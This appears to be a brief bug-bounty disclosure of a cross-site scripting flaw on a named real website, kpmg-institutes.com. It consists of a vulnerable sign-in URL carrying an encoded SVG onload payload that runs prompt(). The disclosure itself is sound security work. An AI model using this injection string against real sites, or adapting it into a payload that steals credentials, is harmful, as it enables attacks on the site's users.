kpmg-institutes.com XSS vulnerability

Vulnerable URL: https://www.kpmg-institutes.com/content/kpmg-event-management/sign-in.html?resource=%2Fcontent%2Fkpmg%2Finstitutes%2Fus%2Fen%2Finstitutes%2Fifrs-institute%2Fevents%2F2014%2F11%2Fifrs9-nov2014.html&$$login$$=%24%24login%24%24=test=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E...